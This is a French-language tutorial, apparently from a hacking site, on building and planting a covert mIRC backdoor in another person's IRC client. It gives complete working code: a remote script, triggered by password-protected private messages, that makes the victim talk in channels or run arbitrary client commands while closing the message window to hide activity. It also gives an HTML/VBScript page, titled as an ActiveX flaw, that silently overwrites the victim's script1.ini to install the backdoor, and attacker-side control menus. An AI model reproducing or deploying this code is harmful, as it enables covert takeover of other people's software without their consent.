mIRC Scripting Backdooring

Les bases en mIRC

Pour pouvoir commencer à faire une petite backdoor il faut déjà avoir des notions de on texte, on input, comment faire des menus déroulant etc... (les menus serviront de raccourcis mais ils ne sont pas obligatoires)

Comment faire nôtre backdoor ?

J'ai décidé d'employer une méthode bien "maison" c'est à dire, sans sockets, et sans autres choses, que du mIRC avec un minimum de code, pour bien pouvoir le cacher.
Donc rien de bien compliqué et très peu de code.
La backdoor sera composée de on text, de if, et d'une commande pour rendre ça plus discret.
Imagination de notre backdoor (en langage Français :p)

«Envoie d'une commande à la victime»
«vérification du password par la backdoor" //pour plus de sécurité»
«Exécution de la commande par nôtre victime si le mot de passe est bon»
«Nettoyage»

Vous allez me dire "Et si on entre un mauvais password, rien ne nous le signal ?" et bien non, pour plus de discrétion, et aussi "Oui elle est bien ta backdoor, mais on la met comment" ? on verra ça après.

Son utilité

Et bien elle en a peu, sinon l'amusement, ou le contrôle à distance (si vous voulez contrôler vôtre client d'un autre endroit, ou bien un bot) ou, au mieux si on sait bien la magner, faire accepter un DCC en douce, d'une vrai backdoor puis la faire exécuter.
Enfaîte avec cette backdoor vous pourrez faire parler vôtre victime, et exécuter des commandes sur le serveur IRC, ou encore des commandes de son client mIRC.
Par exemple vous pourrez parler sur un canal avec son nick, ou en privé avec quelqu'un.
Pour ce qui est des commandes, vous pourrez lancer un /quit pour le déconnecter, ou bien une commande intégrée à mIRC comme "log off".
Voilà de son utilité.

Comment infecter une personne ?

Là, on a déjà vu plus simple, même beaucoup plus simple :p
Vous avez plusieurs solutions, soit se foutre royalement de la gueule de la victime, et lui dire de copier le code dans ses remotes.
Ou encore y aller "au flanc" et cacher le code dans un plus gros script puis mettre ce script en ligne.
Mais la meilleur méthode, la plus discret consiste à faire un script VBS, de le mettre sur un site, et de lui donner comme utilité d'écrire le code dans un fichier remote existant.
Voci un exemple de code en VBS, qui, si le fichier script1.ini existe, ecrasera ce qu'il y a dedans et y mettra le code de nôtre backdoor (attention il faut améliorer ce moyen, car si la victime a déjà un script dans ce fichier, il sera ecrasé, et si la victime n'a pas ce fichier, il sera crée mais pas chargé par

mIRC)
La backdoor sera chargée au prochaine démarrage de mIRC, voilà le code:

```
<HTML>
<HEAD>
<!- Entête du message, avec titre de la page etc...->
<TITLE>Faille ActiveX</TITLE>
</HEAD>
<BODY>
<!- Code->
<script language="VBScript">
if location.protocol = "file:" then
Set FSO = CreateObject("scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set BatFile = FSO.CreateTextFile("c:\Program Files\mIRC\script1.ini", 2, False)
BatFile.writeLine "[script]"
BatFile.writeLine "n0= on *:TEXT:*:?:{"
BatFile.writeLine "n1= if ( $1 = !msg && $2 = «password» && $3 && $4- ) {"
BatFile.writeLine "n2= /msg $3 $4-"
BatFile.writeLine "n3= /close -m $nick }"
BatFile.writeLine "n4= else if ( $1 = !cmd && $2 = «password» && $3- ) {"
BatFile.writeLine "n5= /$3-"
BatFile.writeLine "n6= /close -m $nick }"
BatFile.writeLine "n7= else if ( $1 = !msg ) {"
BatFile.writeLine "n8= /close -m $nick }"
BatFile.writeLine "n9= else if ( $1 = !cmd ) {"
BatFile.writeLine "n10= /close -m $nick }"
BatFile.writeLine "n11= }"
BatFile.Close
end if
</SCRIPT>
<!- fin du code->
</BODY>
</HTML>
```

Construction de notre backdoor

Bon nous allons procéder par étape, parce que j'aime pas donner un gros bout de code tout moche comme ça :p
Déjà nous n'allons pas utiliser de sockets (je préfère le dire) la système va être d'envoyer une instruction à la backdoor sous forme de message, pour que la backdoor exécute la commande demandée ensuite.

Déjà il faut déclarer le on text, on va le faire en PV pour plus de discrétion (ça ferait trop voyant sur un chan):

```
on *:TEXT:*:?:{
```

Ensuite il faut faire une "description" de notre commande (de quoi elle sera composée):
```
if ( $1 = !msg && $2 = «password» && $3 && $4- ) {
```
Cela veut dire, que si le premier mot est !msg, que le deuxième est "password" et qu'il y a un mot après (le nom du canal) et du texte ensuite, il faut exécuter la commande qui suit.

La commande qui suit, servira à faire parler la victime dans un canal, le "$3" sera l'emplacement du canal et le "$4-" le texte à dire dedans, on aura donc le code suivant "/msg #nom du canal texte à dire"
Voilà la commande:
```
/msg $3 $4-
```

Voilà pour ce qui est de faire parler la victime, ensuite comment lui faire exécuter une commande ?
C'est aussi simple !

on refait un if (else if):
```
else if ( $1 = !cmd && $2 = «password» && $3- ) {
```

Puis on demande d'afficher le contenu de la commande (en $3-):
```
/$3-
```

Bon maintenant vous allez me dire "Oui mais la victime voit tout dans sa fenêtre privé !" oui je sais ! J'y ais pensé ;) il faut donc rajouter une petite bricole qui fera fermer la fenêtre à chaque commandes ;)
```
/close -m $nick
```

Voici le code au final:
```
on *:TEXT:*:?:{
  if ( $1 = !msg && $2 = «password» && $3 && $4- ) {
    /msg $3 $4-
  /close -m $nick }
  else if ( $1 = !cmd && $2 = «password» && $3- ) {
    /$3-
  /close -m $nick }
  else if ( $1 = !msg ) {
  /close -m $nick }
  else if ( $1 = !cmd ) {
  /close -m $nick }
}
```

pour les curieux qui se demandent pourquoi j'ai rajouté:

```
else if ( $1 = !msg ) {
  /close -m $nick }
  else if ( $1 = !cmd ) {
  /close -m $nick }
}
```

C'est parce que si vous essayez de lancer une commande sur vôtre victime, et que cette commande échoue (par exemple si vous faites une erreur de syntaxe, ou si vous rentrez mal vôtre mot de passe) et bien la victime la vera, que grâce à ces deux bouts de code, tous les messages en privé commençant par !msg ou !cmd seront cachés, peut importe la syntaxe.

Partie client

Normalement une telle backdoor n'a pas besoin de partie client, ça ne servirait pas à grand chose, mais c'est toujours fun de faire des menus ;)
Bon là je vais faire une exeption à la règle, je vais vous lacher tout le code, il est très simple, il se passe de commentaire:

Liste des pseudos:
```
Remote Control Center
.Demarrer une session:/query $$1
.Lancer une commande:/msg $$1 !cmd «password» $?="Quelle commande voulez vous lancer ?"
.Lancer du texte:/msg $$1 !msg «password» $?="Sur quel canal" $?="Quel texte voulez vous lancer ?"
```

Fenêtre privé:
```
Remote Control Center
.Lancer une commande:/msg $$1 !cmd «password» $?="Quelle commande voulez vous lancer ?"
.Lancer du texte:/msg $$1 !msg «password» $?="Sur quel canal" $?="Quel texte voulez vous lancer ?"
.-
.Activer les logs:/msg $$1 !cmd «password» log on $me
.Desactiver les logs:/msg $$1 !cmd «password» log off $me
.-
.Quitter IRC:/msg $$1 !cmd 021302 quit
```

Fin

Voilà par exemple pour faire parler vôtre victime sur le chan de securityhack vous lui direz en privé: "!msg password #securityhack vôtre texte" ou pour lancer une commande, "!cmd password vôtre commande" (par exemple "quit" ou "log off" :p)
Vous trouverez mIRC ici: www.mIRC.com